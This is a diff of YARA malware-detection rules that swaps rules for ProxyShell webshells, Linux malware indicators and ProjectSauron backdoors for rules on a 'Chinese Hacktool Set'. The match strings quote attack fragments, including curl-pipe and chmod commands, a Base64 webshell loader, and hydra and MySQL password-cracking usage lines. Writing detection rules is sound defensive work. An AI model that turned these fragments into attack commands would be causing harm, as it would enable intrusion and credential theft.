-		filesize <500KB and not uint16(0)==0x4B50 and not uint16(0)==0x6152 and not uint16(0)==0x8b1f and not uint16(0)==0x5A4D and not uint16(0)==0xCFD0 and not uint16(0)==0xC3D4 and not uint16(0)==0x534D and all of ($s*) and not 1 of ($fp*) and ((( uint8(0)<0x20 or uint8(0)>0x7E) and uint8(0)!=0x9 and uint8(0)!=0x0D and uint8(0)!=0x0A and uint8(0)!=0xEF) or (( uint8(1)<0x20 or uint8(1)>0x7E) and uint8(1)!=0x9 and uint8(1)!=0x0D and uint8(1)!=0x0A and uint8(1)!=0xBB) or (( uint8(2)<0x20 or uint8(2)>0x7E) and uint8(2)!=0x9 and uint8(2)!=0x0D and uint8(2)!=0x0A and uint8(2)!=0xBF) or (( uint8(3)<0x20 or uint8(3)>0x7E) and uint8(3)!=0x9 and uint8(3)!=0x0D and uint8(3)!=0x0A) or (( uint8(4)<0x20 or uint8(4)>0x7E) and uint8(4)!=0x9 and uint8(4)!=0x0D and uint8(4)!=0x0A) or (( uint8(5)<0x20 or uint8(5)>0x7E) and uint8(5)!=0x9 and uint8(5)!=0x0D and uint8(5)!=0x0A) or (( uint8(6)<0x20 or uint8(6)>0x7E) and uint8(6)!=0x9 and uint8(6)!=0x0D and uint8(6)!=0x0A) or (( uint8(7)<0x20 or uint8(7)>0x7E) and uint8(7)!=0x9 and uint8(7)!=0x0D and uint8(7)!=0x0A))
+		uint16(0)==0x5a4d and filesize <700KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_Proxyshell_Exploitation_Nov21_1
+rule SIGNATURE_BASE_Cyclotron : FILE
 {
 	meta:
-		description = "Detects webshells dropped by DropHell malware"
+		description = "Chinese Hacktool Set - file cyclotron.sys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "300eaadf-db0c-5591-84fc-abdf7cdd90c1"
-		date = "2021-11-01"
+		id = "7099462b-2a72-56cd-8a50-27cd445eb9d2"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.deepinstinct.com/blog/do-not-exchange-it-has-a-shell-inside"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_proxyshell.yar#L252-L266"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d9812d3f53c346c4e318609e0c7de66811b27ffa7528a6ddeb6ac8436da59ef5"
-		score = 85
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1735-L1752"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5b63473b6dc1e5942bf07c52c31ba28f2702b246"
+		logic_hash = "f3a0edf54039479c9f4e46b20249465bbe1bca57f47afeba37965e6e3fc0127f"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s01 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request[" ascii wide
-		$s02 = "new System.IO.MemoryStream()" ascii wide
-		$s03 = "Transform(" ascii wide
+		$s1 = "\\Device\\IDTProt" wide
+		$s2 = "IoDeleteSymbolicLink" fullword ascii
+		$s3 = "\\??\\slIDTProt" wide
+		$s4 = "IoDeleteDevice" fullword ascii
+		$s5 = "IoCreateSymbolicLink" fullword ascii
 
 	condition:
-		all of ($s*)
+		uint16(0)==0x5a4d and filesize <3KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_LNX_Linux_Malware_Indicators_Aug20_1 : FILE
+rule SIGNATURE_BASE_Xscan_Gui : FILE
 {
 	meta:
-		description = "Detects indicators often found in linux malware samples"
+		description = "Chinese Hacktool Set - file xscan_gui.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9a1093a6-0239-5d1c-aa30-1ca725941583"
-		date = "2020-08-03"
+		id = "fee11058-e75f-5d8f-8d10-06dcaed99df1"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_lnx_malware_indicators.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fbe84c936709653480d469a07e284aea7ef68aedaaa4295073ce59d37eb6d791"
-		score = 65
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1754-L1770"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a9e900510396192eb2ba4fb7b0ef786513f9b5ab"
+		logic_hash = "366db7eb19725a0a42ce371d7bfb50a22a259f0bc0252927af626e8c1c0b9b59"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "&& chmod +x" ascii
-		$s2 = "|base64 -" ascii
-		$s3 = " /tmp" ascii
-		$s4 = "|curl " ascii
-		$s5 = "whoami" ascii fullword
-		$fp1 = "WITHOUT ANY WARRANTY" ascii
-		$fp2 = "postinst" ascii fullword
-		$fp3 = "THIS SOFTWARE IS PROVIDED" ascii fullword
-		$fp4 = "Free Software Foundation" ascii fullword
+		$s1 = "%s -mutex %s -host %s -index %d -config \"%s\"" fullword ascii
+		$s2 = "www.target.com" fullword ascii
+		$s3 = "%s\\scripts\\desc\\%s.desc" fullword ascii
+		$s4 = "%c Active/Maximum host thread: %d/%d, Current/Maximum thread: %d/%d, Time(s): %l" ascii
 
 	condition:
-		filesize <400KB and 3 of ($s*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <3000KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Apt_Projectsauron_Pipe_Backdoor : FILE
+rule SIGNATURE_BASE_CN_Tools_Hscan : FILE
 {
 	meta:
-		description = "Rule to detect ProjectSauron pipe backdoors"
-		author = "Kaspersky Lab"
-		id = "5a1dd4b3-a03c-51bb-a7bc-25729b487f70"
-		date = "2023-12-05"
+		description = "Chinese Hacktool Set - file hscan.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "82d9cd61-8cef-56b4-8dfe-a28edaa781b8"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron.yara#L4-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "72f6c6fa65f15e4bab18a0f9d5b5b2f571b21d70c7ff306020784ce604a2e0a5"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1772-L1792"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+		logic_hash = "9bc4800249bffcc4b8fc1191d600f0b9b2a7b0c1f067039c83c03671a0b4b5c5"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "CreateNamedPipeW" fullword ascii
-		$a2 = "SetSecurityDescriptorDacl" fullword ascii
-		$a3 = "GetOverlappedResult" fullword ascii
-		$a4 = "TerminateThread" fullword ascii
-		$a5 = "%s%s%X" fullword wide
+		$s1 = "%s -f hosts.txt -port -ipc -pop -max 300,20 -time 10000" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,20" fullword ascii
+		$s3 = "%s -h www.target.com -all" fullword ascii
+		$s4 = ".\\report\\%s-%s.html" fullword ascii
+		$s5 = ".\\log\\Hscan.log" fullword ascii
+		$s6 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+		$s7 = "%s@ftpscan#FTP Account:  %s/[null]" fullword ascii
+		$s8 = ".\\conf\\mysql_pass.dic" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*)) and filesize <100000
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Apt_Projectsauron_Encrypted_LSA : FILE
+rule SIGNATURE_BASE_Goodtoolset_Pr : FILE
 {
 	meta:
-		description = "Rule to detect ProjectSauron encrypted LSA samples"
-		author = "Kaspersky Lab"
-		id = "f6fd8619-60f0-5c0d-aa66-cd0e154de63c"
-		date = "2023-12-05"
+		description = "Chinese Hacktool Set - file pr.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d00e1873-f2a5-5e89-9223-ead418e2667c"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron.yara#L23-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aaeee77b596e304836e23241fdc602d0ffed3379b386724210859c84033ac2b5"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1794-L1812"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f6676daf3292cff59ef15ed109c2d408369e8ac8"
+		logic_hash = "0673bc445422f4339c9e81ff8ae8a9b2bb9bc1f107b85fe34906444a1754c43b"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492" fullword ascii
-		$a2 = "\\Device\\NdisRaw_" ascii
-		$a3 = "\\\\.\\GLOBALROOT\\Device\\{8EDB44DC-86F0-4E0E-8068-BD2CABA4057A}" fullword wide
-		$a4 = "Global\\{a07f6ba7-8383-4104-a154-e582e85a32eb}" fullword wide
-		$a5 = "Missing function %S::#%d" fullword wide
-		$a6 = {8945D08D8598FEFFFF2BD08945D88D45BC83C20450C745C0030000008975C48955DCFF55FC8BF88D8F0000003A83F90977305333DB53FF15}
-		$a7 = {488D4C24304889442450488D452044886424304889442460488D4520C7442434030000002BD848897C243844896C244083C308895C246841FFD68D880000003A8BD883F909772DFF}
+		$s1 = "-->Got WMI process Pid: %d " ascii
+		$s2 = "-->This exploit gives you a Local System shell " ascii
+		$s3 = "wmiprvse.exe" fullword ascii
+		$s4 = "Try the first %d time" fullword ascii
+		$s5 = "-->Build&&Change By p " ascii
+		$s6 = "root\\MicrosoftIISv2" fullword wide
 
 	condition:
-		uint16(0)==0x5A4D and ( any of ($a*) or (pe.exports("InitializeChangeNotify") and pe.exports("PasswordChangeNotify") and math.entropy(0x400, filesize )>=7.5)) and filesize <1000000
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Apt_Projectsauron_Encrypted_SSPI : FILE
+rule SIGNATURE_BASE_Hydra_7_4_1_Hydra : FILE
 {
 	meta:
-		description = "Rule to detect encrypted ProjectSauron SSPI samples"
-		author = "Kaspersky Lab"
-		id = "43c0e772-46d2-510e-bea1-6f505199f38c"
-		date = "2023-12-05"
+		description = "Chinese Hacktool Set - file hydra.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cf692bea-091d-5be0-a012-caba01e96dde"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron.yara#L49-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "99d7444ffc45076e97ac3f5c9909ae26a927bbdcfef274d12d162c59e8113d65"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1814-L1832"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3411d0380a1c1ebf58a454765f94d4f1dd714b5b"
+		logic_hash = "f52696cbf7355c982d1a1e0c73dce65324845c5ffc13c541e326720332b4788d"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s1 = "%d of %d target%s%scompleted, %lu valid password%s found" fullword ascii
+		$s2 = "[%d][smb] Host: %s Account: %s Error: ACCOUNT_CHANGE_PASSWORD" fullword ascii
+		$s3 = "hydra -P pass.txt target cisco-enable  (direct console access)" fullword ascii
+		$s4 = "[%d][smb] Host: %s Account: %s Error: PASSWORD EXPIRED" fullword ascii
+		$s5 = "[ERROR] SMTP LOGIN AUTH, either this auth is disabled" fullword ascii
+		$s6 = "\"/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <1000000 and pe.exports("InitSecurityInterfaceA") and pe.characteristics&pe.DLL and (pe.machine==pe.MACHINE_AMD64 or pe.machine==pe.MACHINE_IA64) and math.entropy(0x400, filesize )>=7.5
+		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Apt_Projectsauron_Mytrampoline : FILE
+rule SIGNATURE_BASE_CN_Tools_Srss_2 : FILE
 {
 	meta:
-		description = "Rule to detect ProjectSauron MyTrampoline module"
-		author = "Kaspersky Lab"
-		id = "b4f2cabf-11da-5fa1-8c23-0a177f8a4741"
-		date = "2023-12-05"
+		description = "Chinese Hacktool Set - file srss.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "3a84fa58-ccd0-5cf0-b1e0-a8f2ca04fd3f"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron.yara#L65-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0bd98815fbf6e82cf477e4f4f98360a4c132b2b21e2e5991f6c10903bd4df52b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1834-L1856"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c418b30d004051bbf1b2d3be426936b95b5fea6f"
+		logic_hash = "e674ac7a99a67e2ebe8b4c4232e3435dd041b794f6c08a87ef7b8179127d6fc7"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = ":\\System Volume Information\\{" wide
-		$a2 = "\\\\.\\PhysicalDrive%d" wide
-		$a3 = "DMWndClassX%d"
-		$b1 = "{774476DF-C00F-4e3a-BF4A-6D8618CFA532}" ascii wide
-		$b2 = "{820C02A4-578A-4750-A409-62C98F5E9237}" ascii wide
+		$x1 = "used pepack!" fullword ascii
+		$s1 = "KERNEL32.dll" fullword ascii
+		$s2 = "KERNEL32.DLL" fullword ascii
+		$s3 = "LoadLibraryA" fullword ascii
+		$s4 = "GetProcAddress" fullword ascii
+		$s5 = "VirtualProtect" fullword ascii
+		$s6 = "VirtualAlloc" fullword ascii
+		$s7 = "VirtualFree" fullword ascii
+		$s8 = "ExitProcess" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and filesize <5000000 and ( all of ($a*) or any of ($b*))
+		uint16(0)==0x5a4d and ($x1 at 0) and filesize <14KB and all of ($s*)
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Apt_Projectsauron_Encrypted_Container : FILE
+rule SIGNATURE_BASE_Dos_Ntgod : FILE
 {
 	meta:
-		description = "Rule to detect ProjectSauron samples encrypted container"
-		author = "Kaspersky Lab"
-		id = "4462ebd9-24eb-570a-94b8-6fa6bf2a5a63"
-		date = "2023-12-05"
+		description = "Chinese Hacktool Set - file NtGod.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c2f0733d-5519-5cb8-b077-0ae8472400b4"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron.yara#L85-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b36f2f1161fd2ff856db520efca8648892656b7a2587dce1a7445af4fbba013"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1858-L1874"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "adefd901d6bbd8437116f0170b9c28a76d4a87bf"
+		logic_hash = "77b9204add5d25dcc36eabc07cabea2bdc67a23873c2faf7706e7fba5ed53f8b"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$vfs_header = {02 AA 02 C1 02 0?}
-		$salt = {91 0A E0 CC 0D FE CE 36 78 48 9B 9C 97 F7 F5 55}
+		$s0 = "\\temp\\NtGodMode.exe" ascii
+		$s4 = "NtGodMode.exe" fullword ascii
+		$s10 = "ntgod.bat" fullword ascii
+		$s19 = "sfxcmd" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and ((@vfs_header<0x4000) or $salt) and math.entropy(0x400, filesize )>=6.5 and ( filesize >0x400) and filesize <10000000
+		uint16(0)==0x5a4d and filesize <250KB and all of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Apt_Projectsauron_Encryption : FILE
+rule SIGNATURE_BASE_CN_Tools_Vnclink : FILE
 {
 	meta:
-		description = "Rule to detect ProjectSauron string encryption"
-		author = "Kaspersky Lab"
-		id = "b3139045-54f5-5d59-980b-8510faa9ad0e"
-		date = "2023-12-05"
+		description = "Chinese Hacktool Set - file VNCLink.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "270dc14c-ac8f-58c2-b4ac-c10981e20a07"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron.yara#L105-L123"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ae3a681b0cf9ed93d25fa35982daab48c460ba9737eb643ba28a972ea3a7b401"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1876-L1891"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cafb531822cbc0cfebbea864489eebba48081aa1"
+		logic_hash = "21328e2a871dfcfda47991a1f1e897efd27471420d644c09a94004cf5b0f9869"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = {81??02AA02C175??8B??0685}
-		$a2 = {918D9A94CDCC939A93939BD18B9AB8DE9C908DAF8D9B9BBE8C8C9AFF}
-		$a3 = {803E225775??807E019F75??807E02BE75??807E0309}
+		$s1 = "C:\\temp\\vncviewer4.log" fullword ascii
+		$s2 = "[BL4CK] Patched by redsand || http://blacksecurity.org" fullword ascii
+		$s3 = "fake release extendedVkey 0x%x, keysym 0x%x" fullword ascii
 
 	condition:
-		filesize <5000000 and any of ($a*)
+		uint16(0)==0x5a4d and filesize <580KB and 2 of them
 }
-import "math"
-import "pe"
-
-rule SIGNATURE_BASE_Apt_Projectsauron_Generic_Pipe_Backdoor : FILE
+rule SIGNATURE_BASE_Tools_Ntcmd : FILE
 {
 	meta:
-		description = "Rule to detect ProjectSauron generic pipe backdoors"
-		author = "Kaspersky Lab"
-		id = "77a82c67-7ee1-5d1f-ad75-28ce174e41bc"
-		date = "2023-12-05"
+		description = "Chinese Hacktool Set - file NTCmd.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "db3f28d6-dfe8-5c79-a11b-e31701e250d7"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_project_sauron.yara#L125-L144"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec8a311ec1bd98532c278f72c77e58edb5890db940046dfcd14adf1495e9de1e"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1893-L1911"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a3ae8659b9a673aa346a60844208b371f7c05e3c"
+		logic_hash = "c2487306a0d82ab76a048c001361c25bcd61d0f7a57a3b22df1c70299f0a72ba"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
-		version = "1.0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = { C7 [2-3] 32 32 32 32 E8 }
-		$b = { 42 12 67 6B }
-		$c = { 25 31 5F 73 }
-		$d = "rand"
-		$e = "WS2_32"
+		$s1 = "pipecmd \\\\%s -U:%s -P:\"\" %s" fullword ascii
+		$s2 = "[Usage]:  %s <HostName|IP> <Username> <Password>" fullword ascii
+		$s3 = "pipecmd \\\\%s -U:%s -P:%s %s" fullword ascii
+		$s4 = "============By uhhuhy (Feb 18,2003) - http://www.cnhonker.net============" fullword ascii
+		$s5 = "=======================NTcmd v0.11 for HScan v1.20=======================" fullword ascii
+		$s6 = "NTcmd>" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( all of them ) and filesize <400000
+		uint16(0)==0x5a4d and filesize <80KB and 2 of them
 }
-rule SIGNATURE_BASE_EXP_Drivecrypt_1 : FILE
+rule SIGNATURE_BASE_Mysql_Pwd_Crack : FILE
 {
 	meta:
-		description = "Detects DriveCrypt exploit"
+		description = "Chinese Hacktool Set - file mysql_pwd_crack.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c192ca53-1de3-5d2d-a216-47e534ff4d01"
-		date = "2018-08-21"
+		id = "3ddeb1c7-e124-5e9e-abcf-3856e0561165"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_drivecrypt.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1959f2e4838e40f2abc26ee16b03089088c96cafb101125bdc346f69fe76d7a4"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1913-L1930"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "57d1cb4d404688804a8c3755b464a6e6248d1c73"
+		logic_hash = "d272b98a6cf2749482ee501734d0043564ba528770161cb0ed4f032409305f22"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0dd09bc97c768abb84d0fb6d1ae7d789f1f83bfb2ce93ff9ff3c538dc1effa33"
 
 	strings:
-		$s1 = "x64passldr.exe" fullword ascii
-		$s2 = "DCR.sys" fullword ascii
-		$s3 = "amd64\\x64pass.sys" fullword ascii
+		$s1 = "mysql_pwd_crack 127.0.0.1 -x 3306 -p root -d userdict.txt" fullword ascii
+		$s2 = "Successfully --> username %s password %s " fullword ascii
+		$s3 = "zhouzhen@gmail.com http://zhouzhen.eviloctal.org" fullword ascii
+		$s4 = "-a automode  automatic crack the mysql password " fullword ascii
+		$s5 = "mysql_pwd_crack 127.0.0.1 -x 3306 -a" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and 1 of them
 }
-rule SIGNATURE_BASE_EXP_Drivecrypt_X64Passldr : FILE
+rule SIGNATURE_BASE_Cmdshell64 : FILE
 {
 	meta:
-		description = "Detects DriveCrypt exploit"
+		description = "Chinese Hacktool Set - file CmdShell64.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "94594b4e-091d-5964-b2b4-5d7d44601b28"
-		date = "2018-08-21"
-		modified = "2023-01-06"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_drivecrypt.yar#L19-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "573cd96f7f82788a3884cd4b4d91c739a890835c3ed1b3933af48ba5756cc5a6"
+		id = "f4d69be7-f717-53f7-873e-86acbb309106"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1932-L1951"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5b92510475d95ae5e7cd6ec4c89852e8af34acf1"
+		logic_hash = "fd8010ab2ab51feed62475f840ffaeef92cf1266c139b8f669b7fa5ff646fdab"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "c828304c83619e2cb9dab80305e5286aba91742dc550e1469d91812af27101a1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\x64\\x64passldr.pdb" ascii
-		$s2 = "\\amd64\\x64pass.sys" wide
-		$s3 = "\\\\.\\DCR" fullword ascii
-		$s4 = "Open SC Mgr Error" fullword ascii
-		$s5 = "thing is ok " fullword ascii
-		$s6 = "x64pass" fullword wide
-		$s7 = "%ws\\%ws\\Security" fullword wide
+		$s1 = "C:\\Windows\\System32\\JAVASYS.EXE" fullword wide
+		$s2 = "ServiceCmdShell" fullword ascii
+		$s3 = "<!-- If your application is designed to work with Windows 8.1, uncomment the fol" ascii
+		$s4 = "ServiceSystemShell" fullword wide
+		$s5 = "[Root@CmdShell ~]#" fullword wide
+		$s6 = "Hello Man 2015 !" fullword wide
+		$s7 = "CmdShell" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 3 of them
+		uint16(0)==0x5a4d and filesize <30KB and 4 of them
 }
-rule SIGNATURE_BASE_Invoke_Mimikittenz : FILE
+rule SIGNATURE_BASE_Ms_Viru_V : FILE
 {
 	meta:
-		description = "Detects Mimikittenz - file Invoke-mimikittenz.ps1"
+		description = "Chinese Hacktool Set - file v.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6dcf3d0a-302b-520c-97c6-fd843c8a25b9"
-		date = "2016-07-19"
+		id = "88a01e7a-8210-5e0c-a9b8-b7c9b991e16b"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://github.com/putterpanda/mimikittenz"
